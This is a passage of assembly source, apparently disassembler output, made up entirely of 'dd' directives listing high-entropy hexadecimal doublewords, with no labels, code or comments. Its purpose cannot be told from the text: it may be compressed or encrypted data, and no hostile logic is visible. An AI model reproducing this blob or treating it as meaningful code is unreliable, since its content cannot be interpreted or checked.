		dd 0E90F0C12h, 0B8890091h, 4AA21455h, 0AB62017Eh, 0EA200949h
		dd 0B6238012h, 609013EDh, 0E93D00C8h, 0ECC3CD5Ah, 0A7090F3Ch
		dd 15CB699h, 0F7E0F32Ah, 637024D3h, 6DD8242h, 0B04CCA2Ch
		dd 0C358C09h, 0B63D00F6h, 0C058880Dh, 1841790Ch, 0C03F1049h
		dd 83C7BAF9h, 0EA4C73AFh, 0B53D0007h, 3CCA75A1h, 61045745h
		dd 0FA52CC8Ch, 590D680h, 0BB67070Ch, 0E610D66Ah, 0B1003703h
		dd 0A2EA82E5h, 0FC59C3F8h, 1D046A89h, 0CDD81FF6h, 0D81F9EC2h
		dd 0C3EFE9FAh, 18F80885h, 0EA87B382h, 8C2A832Eh, 32448840h
		dd 640A00A7h, 0AC9FBF28h, 8D24222Fh, 0AE4150EAh, 0ED93236h
		dd 0FB347FE9h, 50EF004Ch, 28421DC3h, 550983FDh,	3C8E83Dh
		dd 0C02CA5CAh, 3A15A01Fh, 377825BEh, 0C1082E3Eh, 0DC851B84h
		dd 5113136Dh, 6500E872h, 0BDAF3A62h, 25A816B5h,	4C4A1DA6h
		dd 4A101557h, 0B77340h,	28C843A9h, 3B3DA4DFh, 89263E1Ch
		dd 0BCA671F0h, 0CF8E00D3h, 3B2EF467h, 0B6009598h, 3C4EB1B4h
		dd 31D4DE5Ch, 5E383871h, 0DAB51069h, 115E610h, 5114225Dh
		dd 80A70879h, 2058AEC9h, 3825F1DFh, 0AC01CCBCh,	0B9B01535h
		dd 2C408E5Ah, 0FA7360BBh, 0A98066h, 89378AB1h, 0C4635834h
		dd 0AF4A501Ch, 31F0BA5Dh, 0EF26FB5h, 0F879863Bh, 5519DA8Ch
		dd 15F0800Ch, 98115Ch, 97D83252h, 3D8D3031h, 0D2292A60h
		dd 119275h, 0BA914410h,	0B51A27F4h, 0B9B20831h,	0D0CF8DBDh
		dd 1E6D466h, 9EC9913Eh,	0C4362441h, 8D03F8E7h, 22185FE0h
		dd 54A80F59h, 4440AA4Dh, 4F99DC7Eh, 0B58194A3h,	40B9F912h
		dd 2366A090h, 0B3628300h, 2528958Dh, 0D044F5BEh, 40B9A41Dh
		dd 6E2D1850h, 12551889h, 7AB87420h, 0BC375577h,	8EACE4h
		dd 0B2304026h, 0AAC3FD8Ch, 4A51024h, 61863504h,	133E20Fh
		dd 7F71F33Bh, 2712E029h, 0A810B0A3h, 1005C25h, 0C443C930h
		dd 0A1F8E324h, 95185160h, 28224EDAh, 44EC50E4h,	7300F8AFh
		dd 0E953DEE6h, 1DF609DCh, 0C4F15DB1h, 333E74h, 4284A855h
		dd 4F8E000Bh, 4BFF4E53h, 123A3D25h, 0CD2F077Eh,	0CA77CBF6h
		dd 1648AD00h, 0B70603FFh, 772A3520h, 0E28DC002h, 813819DCh
		dd 0A6A36448h, 0E9C98987h, 0F1D04D46h, 190DC7A1h, 0D0993095h
		dd 504C0ADCh, 22AFA0ACh, 3F013389h, 0B0D23ED1h,	0A4F76FEEh
		dd 1B51C88h, 0E093017Fh, 0B0BD021Ah, 718FD178h,	0DCE10E68h
		dd 8814549Fh, 4C9DCAC0h, 4700131Bh, 6C5C0A97h, 6F2AE44h
		dd 0F5BC7ED4h, 2D0C4848h, 0B03422EAh, 0E9DC18DEh, 0C1D11844h
		dd 3317A20h, 70A41802h,	32864779h, 0C0BAD434h, 7B92EC04h
		dd 14008D0Eh, 0E6D68CFFh, 490010B8h, 43AE0650h,	0C8DA5C6h
		dd 673FAC54h, 0EA102360h, 550559F4h, 0CF3B094h,	0A0C1BC90h
		dd 0D30AB90Ch, 151E68DEh, 0FC028387h, 2BB67D00h, 0F9A4E00Ch
		dd 24505260h, 23C9EDh, 6BCA33DAh, 0CD155EF7h, 0B4002AE4h
		dd 517F9B4Ah, 766952h, 0ECD3F0E0h, 5F4CFA88h, 6DA91607h
		dd 0E04F3FB7h, 71855DE3h, 0F0BC0718h, 815EA078h, 0F0A56DD5h
		dd 9F002021h, 0CAFB9E73h, 3F4D40Ah, 0A1EFF288h,	24E8162Ah
		dd 6203AA27h, 62F15EEh,	0DB79D8B8h, 2EC900FCh, 231BAFFEh
		dd 0F228B29Fh, 3E3C802Dh, 7DF8678Eh, 2CCCACF4h,	921298AAh
		dd 122D0A98h, 88D458h, 0DAB89880h, 10C2AEBCh, 400D7214h
		dd 61FA258Ch, 0D73B306Ah, 14142420h, 0AC2D5F2Ah, 17EC2103h
		dd 0F63EDA07h, 1E0D7D21h, 0C00938D5h, 0D856F8F6h, 0A53F5BB2h
		dd 7E583261h, 5DE048C2h, 0A070260Ah, 2E2584B0h,	1218D07Ah
		dd 0B183D240h, 71803989h, 69BED735h, 31036159h,	0DAE3658Fh
		dd 0AA519050h, 45E492ECh, 0A4B700A6h, 98918085h, 9CEAB507h
		dd 32AE94Ch, 293B7971h,	9BDB6B2h, 4402EBA0h, 0D8017232h
		dd 43F52EB5h, 6715518Ah, 3BF580A8h, 0C807C15Fh,	0CE003A90h
		dd 8A1B0E65h, 7C50D93h,	5F0217F7h, 0EE9F401Eh, 0C478D6B5h
		dd 0A1100A15h, 0FD7002BCh, 0A326A264h, 605E95A8h, 70EF21A0h
		dd 9655D83Ch, 0D990B0ACh, 0C25D565h, 0AF7C1669h, 8244D729h
		dd 523D2AA8h, 0AAFC50B0h, 0C18EFD22h, 0A26C648Ch, 8607F149h
		dd 2B01F3DFh, 0E0292EF0h, 0A01E0C54h, 0BEE96516h, 0CFBC2300h
		dd 3C08E76h, 0AF3903C7h, 0CAC2E4D2h, 993F19A8h,	9CB0F450h
		dd 25A0C9C1h, 5C58200Eh, 0B4510085h, 0A3945A1h,	422C2DACh
		dd 684204C3h, 821E00C0h, 0C8911C26h, 0ACDEB8B0h, 104A6031h
		dd 2E72CA29h, 80B6D8A0h, 78C0FC92h, 7DAF579Ah, 0D310F74h
		dd 1B803563h, 0E8125E01h, 834AA4Dh, 83803A2Dh, 3F897FEBh
		dd 790B4172h, 805974D7h, 5CBF5750h, 0D69103C1h,	9458BBDFh
		dd 0AC4171D2h, 0C2B41255h, 27D461CCh, 2F2D2E10h, 0B602B8A4h
		dd 96BA29B5h, 418C6A53h, 0F8356D9Ah, 6224E2FCh,	2F2E98E1h
		dd 50C87444h, 3493A825h, 81B056CAh, 0DF9C64h, 17B22E14h
		dd 8FBADF6h, 52A631A4h,	0BA37873Fh, 7E08AB8h, 4721B4h
		dd 5C042F39h, 55229BA4h, 0B70CEF70h, 50C6500Ah,	8B020318h
		dd 4605B4DEh, 0B663A002h, 0A1A4F2h, 960B55AAh, 0E12188C1h
		dd 0C98BA5ACh, 3010B6AFh, 54B1AD64h, 15589901h,	1180AC08h
		dd 0B0DFA950h, 5B00E744h
		dd 9B63F61h, 5418207Fh,	722D14B7h, 0EAAE000Bh, 0DFC19297h
		dd 800696B8h, 283F062Bh, 0FACF00E9h, 5984154Bh,	9770F7F9h
		dd 0F10C3B01h, 0F3E8E95h, 887F8985h, 4BAC403Ch,	33D727A5h
		dd 0BCB3461Fh, 742AFB80h, 1D767A7Eh, 6C25EBAFh,	0D166183Eh
		dd 8500E988h, 27287819h, 0F39E2B7Eh, 17C55F8h, 52AD30FBh
		dd 2465A63Dh, 5150B628h, 41C169A8h, 354FD0C0h, 2E020CECh
		dd 0A7CFA7h, 48A19E01h,	0B3093324h, 257DEB8h, 979C64Ch
		dd 990F7C80h, 2C0BDAEBh, 0A07ECA2Bh, 208B604h, 0A822832Dh
		dd 4BC2045Bh, 0C1E34CD0h, 2863A00h, 0AD84E08Bh,	0EAB6884Eh
		dd 0E8CB0428h, 25625100h, 0A1BD995Bh, 2B1403DFh, 69B47EF9h
		dd 0F5733112h, 513D5804h, 5D6ED500h, 8D1338F0h,	0B420A964h
		dd 60BEB22Bh, 20B5A02Fh, 48F95E25h, 6B121D88h, 6830E13Ch
		dd 80605A35h, 2E7D2736h, 43CE34Dh, 0E714A126h, 155B4CCh
		dd 0F768C1DDh, 0D4323927h, 8C01A75Fh, 7DB3237Bh, 3CD82A3Fh
		dd 0A09FF8DAh, 816B0A30h, 81C093FBh, 94632425h,	5F10D00Eh
		dd 0A82500A5h, 9C5E1B0Dh, 0D904A401h, 0E721C51Fh, 332FE891h
		dd 0ECDA2D10h, 8FA0CC51h, 81562810h, 431AB9A9h,	0A4E28040h
		dd 0E04CBA5Ch, 0FDE0077Eh, 0C3DE8DFFh, 1805372Dh, 49C6C1C9h
		dd 6B881806h, 32E11019h, 9D30643Ch, 70908849h, 610E8E5Eh
		dd 20ED65A8h, 8339E806h, 0D69205FFh, 0C184CEFDh, 8C8A2C98h
		dd 39358830h, 297D580Fh, 1324BE01h, 505E15CAh, 0CD0EBB0h
		dd 177BA900h, 87B3D8F9h, 414364CFh, 44005637h, 0FB69A812h
		dd 0D64709ECh, 0C48271A5h, 0B0013B96h, 0E3D9F87Ah, 3860F449h
		dd 0B7614046h, 1F78645Ch, 23A7E13h, 5387931Eh, 554CE08Dh
		dd 3B7240FAh, 8414DD49h, 8D0766E2h, 42C04ED6h, 0AE984AA7h
		dd 41E83E04h, 788173EBh, 7D005CA6h, 6600A0BBh, 0A7AE45DDh
		dd 122344AFh, 80D2B1C9h, 0A207D840h, 3244B098h,	0E962E428h
		dd 50751501h, 37D2DD8Ch, 0BDBB9200h, 0BCE0F2E3h, 95B4E89h
		dd 5820C12Ch, 3387F4C8h, 1C65B800h, 0A767B495h,	0F9712C58h
		dd 34DF0A90h, 10667104h, 3804F4Dh, 56D169E7h, 769020AAh
		dd 7183F2Ch, 0DF18E6BFh, 0BE461803h, 5B1040DEh,	0F3A3CE00h
		dd 0BFE9BAD4h, 2C551C94h, 53099F4Bh, 0C29F0E34h, 400AF606h
		dd 9DAA5200h, 0DB2C7784h, 3757781Bh, 0B1108CB4h, 860B074Fh
		dd 0C54D0528h, 2F00099h, 55F19138h, 0C674091Ch,	57DE002h
		dd 0BCBCDBAFh, 0E8B84430h, 0F9F7CE0Bh, 0A69A8074h, 1770AEC5h
		dd 0D65B6EEh, 0F129A4DBh, 0BE180FEh, 9A322780h,	0C19F0750h
		dd 0C0E4AC9h, 44007DF0h, 0CA1E19A7h, 0A16D8855h, 3886DCA8h
		dd 90053F20h, 8685029h,	0C17B7606h, 9CA71BD8h, 0CCC041ABh
		dd 0F1C0C0A9h, 7251617Fh, 2791C1BCh, 80125B4Dh,	0DFB2879h
		dd 0C1A07259h, 5AD9C221h, 67E85026h, 33544DE1h,	272A4718h
		dd 5819E0C3h, 0A371DDB0h, 22CE6A11h, 255F1D08h,	0E9519A03h
		dd 0C050E3A6h, 0BC8E49h, 0E074FA28h, 4ACA1633h,	0C5618EEFh
		dd 41B58C86h, 89296F77h, 0C408420Ch, 47414E65h,	55591FC6h
		dd 34EDA807h, 8454DFC5h, 29695C30h, 9358C1DDh, 7C83877h
		dd 0D9F778A0h, 641E073Ah, 6161A0EFh, 0EC388D9Fh, 271E31BDh
		dd 9700C34Ch, 0F9FA5A4Bh, 0F7A30908h, 1800017Dh, 51CCF8DDh
		dd 679F5800h, 49EDDAB3h, 0D24E387Eh, 0F760160Bh, 5591FF80h
		dd 0FA18FD46h, 3F406D3Ch, 0C2BB20D9h, 0C36B5Ch,	0EC69C8FCh
		dd 3347A53h, 0D24B13DDh, 7097C351h, 9FD4A27h, 0F8A2CA02h
		dd 40D92A2Fh, 7C5F7B0h,	0FC961365h, 24F6859Eh, 0BF046AC0h
		dd 4D0F854h, 0FA901A50h, 4ED880C8h, 0A5003AA7h,	111F3313h
		dd 3C923CC1h, 0FAB84B18h, 7E266C80h, 9EB6DA36h,	51C90918h
		dd 1CA16840h, 804D3524h, 2210DD40h, 3EE45FD2h, 42552901h
		dd 3D5E1ABAh, 274C0h, 0F79AB7BDh, 8E1451C8h, 72A46520h
		dd 0D83B004Bh, 55D2170Eh, 960938C6h, 80D04E26h,	81EC3019h
		dd 0E6BD0906h, 8D800AD8h, 0ADF98DA1h, 493C2407h, 0FCD42294h
		dd 942E38C5h, 65DA01BBh, 0A3639A19h, 9049F0D8h,	0EDD0176h
		dd 0CA5AD218h, 4A57DC3Eh, 8EF1300h, 184FD37h, 69FA1DD8h
		dd 11510702h, 6EDFE08Dh, 7E009F36h, 7413D33Ah, 0E0289Dh
		dd 874D9841h, 39191196h, 34702703h, 1970ED7h, 98135340h
		dd 0C06EE06Ah, 47007B9Eh, 1F7408DDh, 13ABE4Ch, 0F85212Bh
		dd 706CC4EFh, 0C800342Bh, 160368BBh, 64133Fh, 3BD5DFFCh
		dd 0A7477C4Eh, 0C1560816h, 0BF8C6Ah, 3AD22E7Dh,	679958h
		dd 4F02DAAEh, 0BCA23CA9h, 166A5558h, 8C1D44C1h,	0C3F0FEC7h
		dd 0A07C2BD3h, 7469BBDBh, 1D3A00F7h, 65CB268Dh,	0A5005836h
		dd 1FFCDA4Ch, 94D27h, 85548F3Dh, 32F1FEFBh, 1E0099F6h
		dd 89EE6DBh, 0F1A4F16h,	0D09D6995h, 37355BE0h, 0D2ECBDCFh
		dd 3FC23C00h, 0F9852728h, 3409010Bh, 0D50470FAh, 15EEF8B7h
		dd 90104C00h, 355FDFFBh, 797A3F53h, 69160E81h, 6043095Dh
		dd 0A58844ACh, 357E0AFFh, 4888FCD7h, 80FDDF04h,	6B990DBBh
		dd 970305A2h, 7CF19814h, 0BAC1A1EDh, 8FB0344Ah,	55009E68h
		dd 0E09908AAh, 5986B7Eh, 9C087A1h, 761C70E6h, 10C0A837h
		dd 0BDEF3C7Fh, 0C6FE1Dh, 8E103F5Eh, 0A47F0E4h, 460BC5E0h
		dd 0C00D3B07h, 0C89930h, 0B8EAA34Dh, 5634D4F3h,	8B0FDD3Bh
		dd 68A80A4Eh, 1D3C8174h, 0C220867Ah, 0F9D088C9h, 1DB1CB1h
		dd 9980CB99h, 75064357h, 3301D4F5h, 0B8086576h,	2180D268h
		dd 486E9822h, 450FA0E8h, 9CF265BCh, 0D9D8B3B9h,	6286D8BFh
		dd 1B64B657h, 21F6095Eh, 86C51F00h, 976A0C9Bh, 0B88C0047h
		dd 0B4C1D9FBh, 5001CCCFh, 0ECAE765h, 9850C64Dh,	29963A2h
		dd 0BC9648CEh, 98D84128h, 121B860h, 1FF2999Ch, 80C861ABh
		dd 59AEB0B2h, 7602A6E4h, 0E307492Ch, 18F0D813h,	18D6C072h
		dd 5B2FD9C2h, 272C0542h, 83C1E5C2h, 0D04355C4h,	0DD4F412h
		dd 0D7239CA7h, 0A8CCF418h, 47989554h, 11375F18h, 303FF58h
		dd 0AA511B9Bh, 6000D338h, 7C7A4BE4h, 5077CFADh,	0A5F18028h
		dd 60C0E498h, 50F80Ch, 0B72F0F18h, 8BA05E7h, 4FD6C700h
		dd 69A265Ch, 69CA444Dh,	71825800h, 1DD5A05Dh, 7D19C0C8h
		dd 84E325CDh, 0A873BE01h, 850164E5h, 3005B842h,	0D3119968h
		dd 0B9887E48h, 99610480h, 0E7A06B2h, 580B5B8Ah,	10DDB65h
		dd 0F3DD598h, 0A55A00BBh, 6AF10078h, 0C9587A9Dh, 3B0657FEh
		dd 0CE1E506Bh, 62720051h, 0EE5F4FCCh, 0CBFCA1EBh, 4482A600h
		dd 0CA1E12DEh, 83CD289Bh, 1FE50h, 9A31D089h, 55E3B60Ah
		dd 0B2099078h, 20FF76BBh, 95F5A380h, 4E2F0001h,	9B3F7A43h
		dd 0C50F0864h, 6604E3h,	0AA52B331h, 0C8890BFh, 0D21F3433h
		dd 4A24ADB8h, 854200C2h, 0F0DC84D6h, 6486CE60h,	0A5B95710h
		dd 1980C7C8h, 2C8886B7h, 9AE74A9h, 0D9CC9251h, 4F4D0C03h
		dd 0D168C1B0h, 5849507Ch, 0D9F20654h, 12C10157h, 58D04E03h
		dd 1104E8BCh, 7E14C890h, 0B948AEC5h, 536E30FAh,	1830B901h
		dd 586F7BF2h, 789B04E0h, 4726011Dh, 0B57ADCE4h,	0E86084F7h
		dd 0C9809CAh, 0CF990864h, 0BAC49E48h, 1C4245Ch,	213331C3h
		dd 87CC4049h, 0D96069C6h, 0ECFAA3C9h, 0FC42F8ADh, 567D0EF1h
		dd 0E8E015D4h, 43274E78h, 0A8FB48h, 0F440CB01h,	148AB4C7h
		dd 98C2154Fh, 4D1DE30h,	0B7793DFEh, 4665D8A0h, 0C49ECB01h
		dd 61E1B539h, 4E29C30h
		dd 0E0535170h, 0F554C220h, 1586D130h, 98A15767h, 1A80C688h
		dd 217386BAh, 81B50389h, 0D4683169h, 12D5C900h,	0FFE07AFEh
		dd 8B1D0153h, 38757086h, 3F49F047h, 0CCF0E854h,	0BC787326h
		dd 1BE9E08h, 1C4FCB25h,	0CC688535h, 0A052C3ACh,	0E3A75404h
		dd 0D9C42D40h, 892E45Ah, 8FD6A53Fh, 0BD0FE802h,	9E192558h
		dd 789F18C1h, 0FD141128h, 7E030D01h, 0A5DBAEEDh, 0F040C2Bh
		dd 0F500E921h, 3E27F90Dh, 2EE3F2Dh, 725994B3h, 8C66A4B4h
		dd 45251880h, 0B4A0D375h, 0A918D76Ah, 0DB28DA58h, 0ECB3020h
		dd 4C81B6B0h, 0E118A266h, 0C71220F0h, 6588D8A2h, 0A5F580ACh
		dd 5D06E2CFh, 0BF8258B4h, 68FF5B27h, 1A48D4A4h,	10102F3Fh
		dd 0F1C99031h, 0FE1982FFh, 603EDAB4h, 81D254B8h, 0E01C66E8h
		dd 0AB87ACh, 5DE9D7CFh,	0D95C91B1h, 0E9E73F88h,	74BF6510h
		dd 24B7E03Ch, 0AA9C04CDh, 1FE6709h, 4BC609A3h, 0A2C00C2Bh
		dd 68F68D21h, 0B0AC4300h, 4B53A920h, 8CAF509Ah,	0C09E01CAh
		dd 0FA447E93h, 70743013h, 0A2175F00h, 0DB25966Ah, 9CCE54F3h
		dd 0B4FC070Ah, 2021AE09h, 52D3A8CBh, 68355107h,	1D93C00Bh
		dd 48D900C7h, 0B8369DBAh, 3100E1DCh, 6B01E0EAh,	0A3B66344h
		dd 81B7F8E4h, 30B44138h, 0E4A89364h, 0C205CCF7h, 3F04A7DCh
		dd 24D9FC88h, 8008275Fh, 0DC4BFE5Ah, 930F5208h,	0E9A7E93Dh
		dd 183070F3h, 89B11E0Eh, 0FB00B7FFh, 0CE35DAB3h, 14149CBh
		dd 0C9013974h, 0D0F75A87h, 1492F6AAh, 4F4C2D01h, 0D16D9481h
		dd 0F0B2D430h, 180A8E0h, 4C1BE8D0h, 0C8809077h,	5E7C3798h
		dd 6FB30A00h, 0AD3F134Eh, 0BB44167Dh, 4BE441D3h, 11F3BA2Eh
		dd 0CB00B5AFh, 3B69A9CCh, 72D480A9h, 3C6B3319h,	0DB1291AFh
		dd 3B8E676h, 7F34801Ah,	724000E0h, 151B2766h, 91C32B77h
		dd 891F23EDh, 9050ACD3h, 0BF810Eh, 7D55E404h, 0D0DB9434h
		dd 0E82440D4h, 0C9988CA4h, 5C93A802h, 0E07FD71Ah, 25505B1Bh
		dd 0B8C3F622h, 0C9BC90C5h, 0C1269F8Fh, 0FBC00C61h, 467DFD0Dh
		dd 10225Dh, 8E0DF3EBh, 704B85Eh, 7C87831Dh, 0D30230A6h
		dd 0C9B90E5Ah, 54207194h, 9BAD261Fh, 0AF8C081Ch, 580EC113h
		dd 38659009h, 0FC402060h, 7D23FE0Dh, 2F91155h, 0D90DF4EAh
		dd 9B04C136h, 8C5004E6h, 0DE748FF0h, 6F61A260h,	0B82DCEA9h
		dd 0CD6A12A7h, 69EC21B4h, 269C50DEh, 0FC0AC83Dh, 0B216DBE1h
		dd 0BDD92307h, 61FF2037h, 6D3CCCF6h, 0CE2A50E8h, 48207289h
		dd 53E09AFCh, 1080E4A2h, 746D33E9h, 95DDCC05h, 0B442CF23h
		dd 44CED64Ah, 995517E8h, 23A83ACDh, 0C1BF00BAh,	41808376h
		dd 3E08204h, 0F0B85945h, 0B624753Ch, 6801C018h,	0C4C53F7h
		dd 0A8CE03Ch, 3D6F0068h, 0CBADB4FFh, 0A7406E42h, 0FA8994Ch
		dd 0C64F3A99h, 0A5FFF6E0h, 5E09D06Fh, 90F2AE28h, 5B1C3Ch
		dd 5A090B70h, 364A488h,	0E992800h, 4DF14C3Eh, 98E07BD3h
		dd 6CC14858h, 701C423h,	1C53F968h, 8A88A618h, 29680010h
		dd 4054ED6Bh, 0E205B22Eh, 6E435590h, 43C59892h,	0B310004h
		dd 22E0E93Eh, 0E1168C6Fh, 842452D9h, 0C0D9981Bh, 12A8026Bh
		dd 88BBA39Ch, 21C0FBDCh, 9F87E442h, 9CDA1DC2h, 0AF200E3Ch
		dd 7CC1681Ah, 71476EFh,	576586CFh, 40C4C4E8h, 0BE86B818h
		dd 0F0D7032Ah, 0C0FE5B53h, 8E1DB802h, 4D34DCC9h, 21CEE008h
		dd 220B1B2Dh, 0E7E09B2h, 0AA95E1A3h, 0B821AEB8h, 110EA032h
		dd 2707350h, 97DDAA56h,	27EC6077h, 0FE440D3h, 56E840C0h
		dd 555A629h, 133DD889h,	0CDEC92C7h, 0DB7454E0h,	9A46DC90h
		dd 80DFA04h, 8BD8857Eh,	0F2F40028h, 0F895520Dh,	7DB5008Eh
		dd 0AA5716ADh, 0CB80D79Ch, 98D65458h, 849112B0h, 0E3849DB6h
		dd 41FA5186h, 4AB0817Eh, 0B1BE2007h, 5C1210F1h,	41C848C0h
		dd 0A00E0B0Ch, 81098463h, 499B1C8Fh, 901680D8h,	0E309F67Eh
		dd 8AB57E55h, 76800C9Dh, 0FAC1FB4Fh, 8250067h, 9B045051h
		dd 7A18DCE2h, 9798CA8Ch, 105A036Ch, 36535803h, 9CE85495h
		dd 12447180h, 3C00EA4Dh, 0DB5574D1h, 0A8B5AA52h, 58C9F2BCh
		dd 0BC10EC8Eh, 0D1F50A12h, 0CA8086Bh, 0B946ECA4h, 0FC680201h
		dd 6208F453h, 0B8FC004h, 4CF2AB68h, 0D1007270h,	0E49303B2h
		dd 0A0A80476h, 0AE001169h, 162B6434h, 24F42B7h,	603E526Eh
		dd 0F084FED2h, 0DF8609Ch, 0F57E1002h, 8711C8AEh, 0D00DF0E6h
		dd 0AA491AF3h, 0F1715000h, 5F482440h, 30FD48EBh, 40F84C50h
		dd 6CA50DB0h, 0C160A2C4h, 9200F77Eh, 0F6C5725Dh, 0F4CD5B3Fh
		dd 0A06382BFh, 60435F92h, 0AF56FCE0h, 0BC8C744Ch, 60008CA3h
		dd 0FE5CB03Eh, 0A6EF5DBh, 0A6CD1122h, 64F20034h, 0CBB45ADDh
		dd 0C698D0C0h, 0B3B73DFDh, 777F0BB8h, 6FA6B400h, 0C326B697h
		dd 6A08009Fh, 352704B9h, 3EECF1D3h, 0C7E90430h,	2432E5Fh
		dd 78FD80B8h, 27704EECh, 0D3062C00h, 0D4BBBE40h, 0BD5A2C96h
		dd 0B91308ECh, 0D46A98ACh, 104674h, 0D2E3CC14h,	3FDCF1E2h
		dd 4002C007h, 4D02CEF5h, 5609C0E6h, 40BFA482h, 25511BF4h
		dd 8C21647Ah, 4F8534Fh,	30F49882h, 681386D2h, 8C8B9957h
		dd 86BB1501h, 0CCF6D88Fh, 5102A4ABh, 34F21C4Eh,	0CD2490F1h
		dd 57631186h, 80C388C1h, 5386B61Eh, 181CB2FFh, 55832B51h
		dd 2771Fh, 979DA5F1h, 4E109B3Ch, 9FF9C100h, 0E31F3104h
		dd 80873F56h, 0ACBA4714h, 299EC009h, 0A0689185h, 0A94FCCA0h
		dd 1E903830h, 6011D279h, 645A5668h, 2447A140h, 8088DB3Fh
		dd 0C787A5F5h, 8318A638h, 0D930CF4Ah, 0E8504CA4h, 850852Ch
		dd 0A947B633h, 28118268h, 80E812EFh, 0D841B47Ah, 882855E1h
		dd 0A84E3C02h, 6CC1CB1Bh, 0D981041h, 0E42E0D8Dh, 0E0A1D7F3h
		dd 5107B6D9h, 716CB7EAh, 0E6B36F00h, 0E8FB19D7h, 0DE6860DEh
		dd 0F0ED4103h, 7C456BC5h, 191061DDh, 20FF0E93h,	0E8C9B38h
		dd 7E070DF9h, 8FFA8871h, 48A0F1E5h, 3AF33F28h, 0F4A991DEh
		dd 0F119CB79h, 0B7EC4876h, 9A427F00h, 97EFEB54h, 0E1AC0131h
		dd 0D08A980Bh, 31CC4DDEh, 3FCC0067h, 10B2E407h,	4A14DA5Ch
		dd 5F702C43h, 50D9D837h, 0DD4C2A5Ah, 0A6E116E4h, 0FDB054C9h
		dd 0D1DA6B16h, 112A0Ch,	0A1F31BB4h, 6911C7C0h, 313435DCh
		dd 1A2740B0h, 0C407B360h, 2A8CD0Ch, 16044ABh, 16C194EBh
		dd 64E04504h, 78306B08h, 9277E9F6h, 573F0084h, 0A2836F5h
		dd 48014C7Ah, 1DA9FAF6h, 0A3EC109Ch, 0D149004h,	4CB2D507h
		dd 6D3930D9h, 0FF17AD0Ah, 9931F0C5h, 94C47E54h,	0E89C8Fh
		dd 0AB670A05h, 700507BBh, 0FD629538h, 2BAF9805h, 0CD8868ACh
		dd 8A2580A0h, 407800B0h, 682E1Dh, 0C4FFC3E1h, 6A73FA8h
		dd 9C2838DCh, 2CC0EB20h, 6110966Bh, 80D1F2F6h, 7DF7AFA9h
		dd 3DC311E2h, 0D503A6FBh, 337E05E4h, 1AFC72E8h,	0FC96E572h
		dd 967C5340h, 376A036Ch, 0FB9D9BB4h, 15A63980h,	0BD4FAF05h
		dd 0E4CEB9A7h, 380EA39Fh, 21003714h, 7FB274A3h,	20334BDCh
		dd 72516ADCh, 20167C5Eh, 0B014400h, 0B9FF45C9h,	3682BB10h
		dd 0F589CF81h, 297E0CE0h, 81F745Eh, 62F93009h, 91A897D0h
		dd 0E44D800Eh, 37AA2E49h, 6090528Eh, 364353E0h,	9F0CBE58h
		dd 8F2C7708h, 0DEA4098Fh, 505C811Fh, 0F478F672h, 1028E158h
		dd 0D504C3D6h, 0E4C40F9Dh, 34158020h, 4E0C2A3h,	0DCD079D7h
		dd 0B34F8300h, 0C8B46910h, 0E13C5040h, 30EA1E4Bh, 0CCAF8037h
		dd 6B7D8629h, 0CD9CF100h, 1C848D5h, 0CE400FBDh,	0AAE23CBBh
		dd 60D19F26h, 0D4181171h
		dd 55A8FF00h, 4145A597h, 47130E98h, 4756C727h, 854E334Ch
		dd 602CA11Bh, 0D65EB4F0h, 0F272CC41h, 45CE6B80h, 60C3E414h
		dd 1099A51h, 6DAEF640h,	0CCB90391h, 60C3ACA0h, 0B1A27032h
		dd 60C29A94h, 88DFCE38h, 0D973E29Dh, 0B1929E00h, 0E0CF1948h
		dd 20B0B05Ah, 4708A5ECh, 4136F4Fh, 90AF1E09h, 8CE642Ch
		dd 0D955430Eh, 980C008Fh, 3AF5B4Eh, 72C5764Bh, 8281021Ch
		dd 35BCEDD9h, 0A2DC2360h, 11FF3010h, 8421A600h,	5E1F7FD3h
		dd 2E78B880h, 0AE70424Ah, 0E465E24h, 78217200h,	8C70DEB4h
		dd 0E0794A01h, 43B27C9h, 68AA9400h, 7030AD4Bh, 16591B48h
		dd 0C9DA4472h, 3320C250h, 80CB6334h, 0F718C904h, 0D4306207h
		dd 0E44486B5h, 1D932C03h, 484D3870h, 0D097E825h, 0BD80BE11h
		dd 5B854945h, 0ABD91800h, 58F49A4Ch, 0A7702A72h, 0BBEF443Ch
		dd 1E04E16h, 6FD7FC48h,	15410131h, 85877980h, 0DE68A088h
		dd 20DB6A09h, 0C769BE20h, 0C0720F43h, 6787993Ah, 0E68F10E0h
		dd 0FE5C3DEBh, 0ACD410DCh, 0A34DF701h, 6DF410B2h, 352310C4h
		dd 4059A901h, 41F6E74Fh, 0A4F4D8BCh, 0F601C18h,	165D018h
		dd 5134B495h, 0A39092h,	205B4BF8h, 2759A11Ah, 4E030C6Ch
		dd 96AA9D8h, 0B8F481B9h, 55F1848h, 303FE80h, 4EA4DA11h
		dd 0D0E9574Ch, 195C3868h, 0CB31B680h, 400C4C70h, 0D180FB9h
		dd 8A990377h, 0F8EA00C0h, 1C4B4120h, 3850F084h,	5317ED8Dh
		dd 5CDB291Fh, 0E5EBB281h, 48B838F3h, 0D97B0080h, 79786FAEh
		dd 4DF00C60h, 0EAB12E57h, 17C07E2Dh, 1C6BFE4h, 0A9AF9A11h
		dd 7040A4C8h, 0C07A5BCDh, 94BD98C1h, 540B059Fh,	68B066A3h
		dd 9ED1BB60h, 0CB104268h, 40BA0D22h, 0B6AEBB84h, 0C0172530h
		dd 0E380A711h, 0CE99728Eh, 82B49C3Bh, 7FF6366Eh, 0BA24437Bh
		dd 3A60F9BBh, 686734A5h, 4B60C464h, 9E0B70B5h, 231A42ADh
		dd 4061D40h, 0FF5FA9D1h, 5A80A0FAh, 4C667924h, 88A48312h
		dd 6A18C4CAh, 0B08C2864h, 29D4628h, 7E010DF7h, 603CD9FDh
		dd 1E0DEFE7h, 60162004h, 0E41E064Bh, 0B8F308D4h, 0A1B70D4Fh
		dd 2C51CDh, 0A9888282h,	0C39C020Bh, 0C2DE0427h,	5520F8FCh
		dd 0BC4C807Dh, 4ABB84F4h, 18C4B8AEh, 92D0C06Ah,	0FDC922Ch
		dd 40A170E2h, 0DC307280h, 78308CCEh, 118BB1F8h,	0F33C0F20h
		dd 0D08E48ACh, 16414BE0h, 7F0ED181h, 0BAB0D1Eh,	0EA888DA5h
		dd 0ACCD4085h, 278E2C4h, 74B9C571h, 11989DDDh, 522A8010h
		dd 0CD2BA0h, 60889CEBh,	0C48B347Eh, 96899494h, 20AC5ABDh
		dd 0CDF0D3DFh, 21F49CA8h, 0CFBEE700h, 0C6A79560h, 0ECB23C7Ah
		dd 0F3E1FE06h, 0B90029CCh, 1B0ECDFBh, 3D9F501Dh, 0E5859682h
